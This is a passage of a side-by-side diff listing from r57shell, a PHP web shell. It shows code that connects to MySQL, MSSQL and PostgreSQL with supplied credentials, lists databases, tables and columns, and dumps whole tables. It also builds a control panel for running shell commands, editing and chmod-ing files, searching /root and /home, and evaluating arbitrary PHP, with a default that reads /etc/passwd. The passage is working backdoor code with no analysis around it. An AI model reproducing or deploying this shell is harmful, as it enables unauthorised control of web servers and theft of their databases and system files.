| 1900 | echo "[+] ".$row[0]."\r\n"; | 1900 | echo "[+] ".$row[0]."\r\n"; |
| 1901 | if(isset($_POST['st'])){ | 1901 | if(isset($_POST['st'])){ |
| 1902 | $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); | 1902 | $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); |
| 1903 | while(($row2=@mysql_fetch_row($res2))) | 1903 | while(($row2=@mysql_fetch_row($res2))) |
| 1904 | { | 1904 | { |
| 1905 | echo " | - ".$row2[0]."\r\n"; | 1905 | echo " | - ".$row2[0]."\r\n"; |
| 1906 | if(isset($_POST['sc'])) | 1906 | if(isset($_POST['sc'])) |
| 1907 | { | 1907 | { |
| 1908 | $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); | 1908 | $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); |
| 1909 | while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } | 1909 | while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } |
| 1910 | } | 1910 | } |
| 1911 | } | 1911 | } |
| 1912 | } | 1912 | } |
| 1913 | } | 1913 | } |
| 1914 | @mysql_close($db); | 1914 | @mysql_close($db); |
| 1915 | } | 1915 | } |
| 1916 | else echo "[-] ERROR! Can't connect to MySQL server"; | 1916 | else echo "[-] ERROR! Can't connect to MySQL server"; |
| 1917 | break; | 1917 | break; |
| 1918 | case 'MSSQL': | 1918 | case 'MSSQL': |
| 1919 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } | 1919 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } |
| 1920 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 1920 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 1921 | if($db) | 1921 | if($db) |
| 1922 | { | 1922 | { |
| 1923 | $res=@mssql_query("sp_databases", $db); | 1923 | $res=@mssql_query("sp_databases", $db); |
| 1924 | while(($row=@mssql_fetch_row($res))) | 1924 | while(($row=@mssql_fetch_row($res))) |
| 1925 | { | 1925 | { |
| 1926 | echo "[+] ".$row[0]."\r\n"; | 1926 | echo "[+] ".$row[0]."\r\n"; |
| 1927 | if(isset($_POST['st'])){ | 1927 | if(isset($_POST['st'])){ |
| 1928 | @mssql_select_db($row[0]); | 1928 | @mssql_select_db($row[0]); |
| 1929 | $res2 = @mssql_query("sp_tables",$db); | 1929 | $res2 = @mssql_query("sp_tables",$db); |
| 1930 | while(($row2=@mssql_fetch_array($res2))) | 1930 | while(($row2=@mssql_fetch_array($res2))) |
| 1931 | { | 1931 | { |
| 1932 | if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') | 1932 | if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') |
| 1933 | { | 1933 | { |
| 1934 | echo " | - ".$row2['TABLE_NAME']."\r\n"; | 1934 | echo " | - ".$row2['TABLE_NAME']."\r\n"; |
| 1935 | if(isset($_POST['sc'])) | 1935 | if(isset($_POST['sc'])) |
| 1936 | { | 1936 | { |
| 1937 | $res3 = @mssql_query("sp_columns ".$row2[2],$db); | 1937 | $res3 = @mssql_query("sp_columns ".$row2[2],$db); |
| 1938 | while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } | 1938 | while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } |
| 1939 | } | 1939 | } |
| 1940 | } | 1940 | } |
| 1941 | } | 1941 | } |
| 1942 | } | 1942 | } |
| 1943 | } | 1943 | } |
| 1944 | @mssql_close($db); | 1944 | @mssql_close($db); |
| 1945 | } | 1945 | } |
| 1946 | else echo "[-] ERROR! Can't connect to MSSQL server"; | 1946 | else echo "[-] ERROR! Can't connect to MSSQL server"; |
| 1947 | break; | 1947 | break; |
| 1948 | case 'PostgreSQL': | 1948 | case 'PostgreSQL': |
| 1949 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } | 1949 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } |
| 1950 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; | 1950 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; |
| 1951 | $db = @pg_connect($str); | 1951 | $db = @pg_connect($str); |
| 1952 | if($db) | 1952 | if($db) |
| 1953 | { | 1953 | { |
| 1954 | $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); | 1954 | $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); |
| 1955 | while(($row=@pg_fetch_row($res))) | 1955 | while(($row=@pg_fetch_row($res))) |
| 1956 | { | 1956 | { |
| 1957 | echo "[+] ".$row[0]."\r\n"; | 1957 | echo "[+] ".$row[0]."\r\n"; |
| 1958 | } | 1958 | } |
| 1959 | @pg_close($db); | 1959 | @pg_close($db); |
| 1960 | } | 1960 | } |
| 1961 | else echo "[-] ERROR! Can't connect to PostgreSQL server"; | 1961 | else echo "[-] ERROR! Can't connect to PostgreSQL server"; |
| 1962 | break; | 1962 | break; |
| 1963 | } | 1963 | } |
| 1964 | } | 1964 | } |
| 1965 | if ($_POST['cmd']=="mysql_dump") | 1965 | if ($_POST['cmd']=="mysql_dump") |
| 1966 | { | 1966 | { |
| 1967 | if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } | 1967 | if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } |
| 1968 | if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ | 1968 | if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ |
| 1969 | $sqh = "# homepage: http://rst.void.ru\r\n"; | 1969 | $sqh = "# homepage: http://rst.void.ru\r\n"; |
| 1970 | $sqh .= "# ---------------------------------\r\n"; | 1970 | $sqh .= "# ---------------------------------\r\n"; |
| 1971 | $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; | 1971 | $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; |
| 1972 | $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; | 1972 | $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; |
| 1973 | $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; | 1973 | $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; |
| 1974 | $sqh .= "# ---------------------------------\r\n\r\n"; | 1974 | $sqh .= "# ---------------------------------\r\n\r\n"; |
| 1975 | switch($_POST['db']){ | 1975 | switch($_POST['db']){ |
| 1976 | case 'MySQL': | 1976 | case 'MySQL': |
| 1977 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } | 1977 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } |
| 1978 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 1978 | $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 1979 | if($db) | 1979 | if($db) |
| 1980 | { | 1980 | { |
| 1981 | if(@mysql_select_db($_POST['mysql_db'],$db)) | 1981 | if(@mysql_select_db($_POST['mysql_db'],$db)) |
| 1982 | { | 1982 | { |
| 1983 | $sql1 = "# MySQL dump created by r57shell\r\n"; | 1983 | $sql1 = "# MySQL dump created by r57shell\r\n"; |
| 1984 | $sql1 .= $sqh; | 1984 | $sql1 .= $sqh; |
| 1985 | $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); | 1985 | $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); |
| 1986 | $row = @mysql_fetch_row($res); | 1986 | $row = @mysql_fetch_row($res); |
| 1987 | $sql1 .= $row[1]."\r\n\r\n"; | 1987 | $sql1 .= $row[1]."\r\n\r\n"; |
| 1988 | $sql1 .= "# ---------------------------------\r\n\r\n"; | 1988 | $sql1 .= "# ---------------------------------\r\n\r\n"; |
| 1989 | $sql2 = ''; | 1989 | $sql2 = ''; |
| 1990 | $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); | 1990 | $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); |
| 1991 | if (@mysql_num_rows($res) > 0) { | 1991 | if (@mysql_num_rows($res) > 0) { |
| 1992 | while (($row = @mysql_fetch_assoc($res))) { | 1992 | while (($row = @mysql_fetch_assoc($res))) { |
| 1993 | $keys = @implode("`, `", @array_keys($row)); | 1993 | $keys = @implode("`, `", @array_keys($row)); |
| 1994 | $values = @array_values($row); | 1994 | $values = @array_values($row); |
| 1995 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} | 1995 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
| 1996 | $values = @implode("', '", $values); | 1996 | $values = @implode("', '", $values); |
| 1997 | $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; | 1997 | $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; |
| 1998 | } | 1998 | } |
| 1999 | $sql2 .= "\r\n# ---------------------------------"; | 1999 | $sql2 .= "\r\n# ---------------------------------"; |
| 2000 | } | 2000 | } |
| 2001 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } | 2001 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } |
| 2002 | else { echo $sql1.$sql2; } | 2002 | else { echo $sql1.$sql2; } |
| 2003 | } | 2003 | } |
| 2004 | else echo "[-] ERROR! Can't select database"; | 2004 | else echo "[-] ERROR! Can't select database"; |
| 2005 | @mysql_close($db); | 2005 | @mysql_close($db); |
| 2006 | } | 2006 | } |
| 2007 | else echo "[-] ERROR! Can't connect to MySQL server"; | 2007 | else echo "[-] ERROR! Can't connect to MySQL server"; |
| 2008 | break; | 2008 | break; |
| 2009 | case 'MSSQL': | 2009 | case 'MSSQL': |
| 2010 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } | 2010 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } |
| 2011 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); | 2011 | $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); |
| 2012 | if($db) | 2012 | if($db) |
| 2013 | { | 2013 | { |
| 2014 | if(@mssql_select_db($_POST['mysql_db'],$db)) | 2014 | if(@mssql_select_db($_POST['mysql_db'],$db)) |
| 2015 | { | 2015 | { |
| 2016 | $sql1 = "# MSSQL dump created by r57shell\r\n"; | 2016 | $sql1 = "# MSSQL dump created by r57shell\r\n"; |
| 2017 | $sql1 .= $sqh; | 2017 | $sql1 .= $sqh; |
| 2018 | $sql2 = ''; | 2018 | $sql2 = ''; |
| 2019 | $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); | 2019 | $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); |
| 2020 | if (@mssql_num_rows($res) > 0) { | 2020 | if (@mssql_num_rows($res) > 0) { |
| 2021 | while (($row = @mssql_fetch_assoc($res))) { | 2021 | while (($row = @mssql_fetch_assoc($res))) { |
| 2022 | $keys = @implode(", ", @array_keys($row)); | 2022 | $keys = @implode(", ", @array_keys($row)); |
| 2023 | $values = @array_values($row); | 2023 | $values = @array_values($row); |
| 2024 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} | 2024 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
| 2025 | $values = @implode("', '", $values); | 2025 | $values = @implode("', '", $values); |
| 2026 | $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; | 2026 | $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; |
| 2027 | } | 2027 | } |
| 2028 | $sql2 .= "\r\n# ---------------------------------"; | 2028 | $sql2 .= "\r\n# ---------------------------------"; |
| 2029 | } | 2029 | } |
| 2030 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } | 2030 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } |
| 2031 | else { echo $sql1.$sql2; } | 2031 | else { echo $sql1.$sql2; } |
| 2032 | } | 2032 | } |
| 2033 | else echo "[-] ERROR! Can't select database"; | 2033 | else echo "[-] ERROR! Can't select database"; |
| 2034 | @mssql_close($db); | 2034 | @mssql_close($db); |
| 2035 | } | 2035 | } |
| 2036 | else echo "[-] ERROR! Can't connect to MSSQL server"; | 2036 | else echo "[-] ERROR! Can't connect to MSSQL server"; |
| 2037 | break; | 2037 | break; |
| 2038 | case 'PostgreSQL': | 2038 | case 'PostgreSQL': |
| 2039 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } | 2039 | if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } |
| 2040 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; | 2040 | $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; |
| 2041 | $db = @pg_connect($str); | 2041 | $db = @pg_connect($str); |
| 2042 | if($db) | 2042 | if($db) |
| 2043 | { | 2043 | { |
| 2044 | $sql1 = "# PostgreSQL dump created by r57shell\r\n"; | 2044 | $sql1 = "# PostgreSQL dump created by r57shell\r\n"; |
| 2045 | $sql1 .= $sqh; | 2045 | $sql1 .= $sqh; |
| 2046 | $sql2 = ''; | 2046 | $sql2 = ''; |
| 2047 | $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); | 2047 | $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); |
| 2048 | if (@pg_num_rows($res) > 0) { | 2048 | if (@pg_num_rows($res) > 0) { |
| 2049 | while (($row = @pg_fetch_assoc($res))) { | 2049 | while (($row = @pg_fetch_assoc($res))) { |
| 2050 | $keys = @implode(", ", @array_keys($row)); | 2050 | $keys = @implode(", ", @array_keys($row)); |
| 2051 | $values = @array_values($row); | 2051 | $values = @array_values($row); |
| 2052 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} | 2052 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
| 2053 | $values = @implode("', '", $values); | 2053 | $values = @implode("', '", $values); |
| 2054 | $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; | 2054 | $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; |
| 2055 | } | 2055 | } |
| 2056 | $sql2 .= "\r\n# ---------------------------------"; | 2056 | $sql2 .= "\r\n# ---------------------------------"; |
| 2057 | } | 2057 | } |
| 2058 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } | 2058 | if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } |
| 2059 | else { echo $sql1.$sql2; } | 2059 | else { echo $sql1.$sql2; } |
| 2060 | @pg_close($db); | 2060 | @pg_close($db); |
| 2061 | } | 2061 | } |
| 2062 | else echo "[-] ERROR! Can't connect to PostgreSQL server"; | 2062 | else echo "[-] ERROR! Can't connect to PostgreSQL server"; |
| 2063 | break; | 2063 | break; |
| 2064 | } | 2064 | } |
| 2065 | } | 2065 | } |
| 2066 | else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } | 2066 | else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } |
| 2067 | } | 2067 | } |
| 2068 | echo "</textarea></div>"; | 2068 | echo "</textarea></div>"; |
| 2069 | echo "</b>"; | 2069 | echo "</b>"; |
| 2070 | echo "</td></tr></table>"; | 2070 | echo "</td></tr></table>"; |
| 2071 | echo "<table width=100% cellpadding=0 cellspacing=0>"; | 2071 | echo "<table width=100% cellpadding=0 cellspacing=0>"; |
| 2072 | function up_down($id) | 2072 | function up_down($id) |
| 2073 | { | 2073 | { |
| 2074 | global $lang; | 2074 | global $lang; |
| 2075 | global $language; | 2075 | global $language; |
| 2076 | return ' <img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; | 2076 | return ' <img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; |
| 2077 | } | 2077 | } |
| 2078 | function div($id) | 2078 | function div($id) |
| 2079 | { | 2079 | { |
| 2080 | if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; | 2080 | if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; |
| 2081 | return '<div id="'.$id.'">'; | 2081 | return '<div id="'.$id.'">'; |
| 2082 | } | 2082 | } |
| 2083 | if(!$safe_mode){ | 2083 | if(!$safe_mode){ |
| 2084 | echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; | 2084 | echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; |
| 2085 | echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); | 2085 | echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); |
| 2086 | echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); | 2086 | echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); |
| 2087 | echo $te.'</div>'.$table_end1.$fe; | 2087 | echo $te.'</div>'.$table_end1.$fe; |
| 2088 | } | 2088 | } |
| 2089 | else{ | 2089 | else{ |
| 2090 | echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; | 2090 | echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; |
| 2091 | echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); | 2091 | echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); |
| 2092 | echo $te.'</div>'.$table_end1.$fe; | 2092 | echo $te.'</div>'.$table_end1.$fe; |
| 2093 | } | 2093 | } |
| 2094 | echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; | 2094 | echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; |
| 2095 | echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); | 2095 | echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); |
| 2096 | echo $te.'</div>'.$table_end1.$fe; | 2096 | echo $te.'</div>'.$table_end1.$fe; |
| 2097 | if($safe_mode){ | 2097 | if($safe_mode){ |
| 2098 | echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; | 2098 | echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; |
| 2099 | echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); | 2099 | echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); |
| 2100 | echo $te.'</div>'.$table_end1.$fe; | 2100 | echo $te.'</div>'.$table_end1.$fe; |
| 2101 | } | 2101 | } |
| 2102 | if($safe_mode && $unix){ | 2102 | if($safe_mode && $unix){ |
| 2103 | echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; | 2103 | echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; |
| 2104 | echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); | 2104 | echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); |
| 2105 | echo $te.'</div>'.$table_end1.$fe; | 2105 | echo $te.'</div>'.$table_end1.$fe; |
| 2106 | } | 2106 | } |
| 2107 | if(!$safe_mode){ | 2107 | if(!$safe_mode){ |
| 2108 | foreach ($aliases as $alias_name=>$alias_cmd) | 2108 | foreach ($aliases as $alias_name=>$alias_cmd) |
| 2109 | { | 2109 | { |
| 2110 | $aliases2 .= "<option>$alias_name</option>"; | 2110 | $aliases2 .= "<option>$alias_name</option>"; |
| 2111 | } | 2111 | } |
| 2112 | echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; | 2112 | echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; |
| 2113 | echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); | 2113 | echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); |
| 2114 | echo $te.'</div>'.$table_end1.$fe; | 2114 | echo $te.'</div>'.$table_end1.$fe; |
| 2115 | } | 2115 | } |
| 2116 | echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; | 2116 | echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; |
| 2117 | echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); | 2117 | echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); |
| 2118 | echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); | 2118 | echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); |
| 2119 | echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); | 2119 | echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); |
| 2120 | echo $te.'</div>'.$table_end1.$fe; | 2120 | echo $te.'</div>'.$table_end1.$fe; |
| 2121 | if(!$safe_mode && $unix){ | 2121 | if(!$safe_mode && $unix){ |
| 2122 | echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; | 2122 | echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; |
| 2123 | echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); | 2123 | echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); |
| 2124 | echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); | 2124 | echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); |
| 2125 | echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); | 2125 | echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); |
| 2126 | echo $te.'</div>'.$table_end1.$fe; | 2126 | echo $te.'</div>'.$table_end1.$fe; |
| 2127 | } | 2127 | } |
| 2128 | echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; | 2128 | echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; |
| 2129 | echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; | 2129 | echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; |
| 2130 | echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); | 2130 | echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); |
| 2131 | echo "</textarea>"; | 2131 | echo "</textarea>"; |
| 2132 | echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); | 2132 | echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); |
| 2133 | echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); | 2133 | echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); |
| 2134 | echo "</div></div></font>"; | 2134 | echo "</div></div></font>"; |
| 2135 | echo $table_end1.$fe; | 2135 | echo $table_end1.$fe; |
| 2136 | if($safe_mode&&$curl_on) | 2136 | if($safe_mode&&$curl_on) |
| 2137 | { | 2137 | { |
| 2138 | echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; | 2138 | echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; |
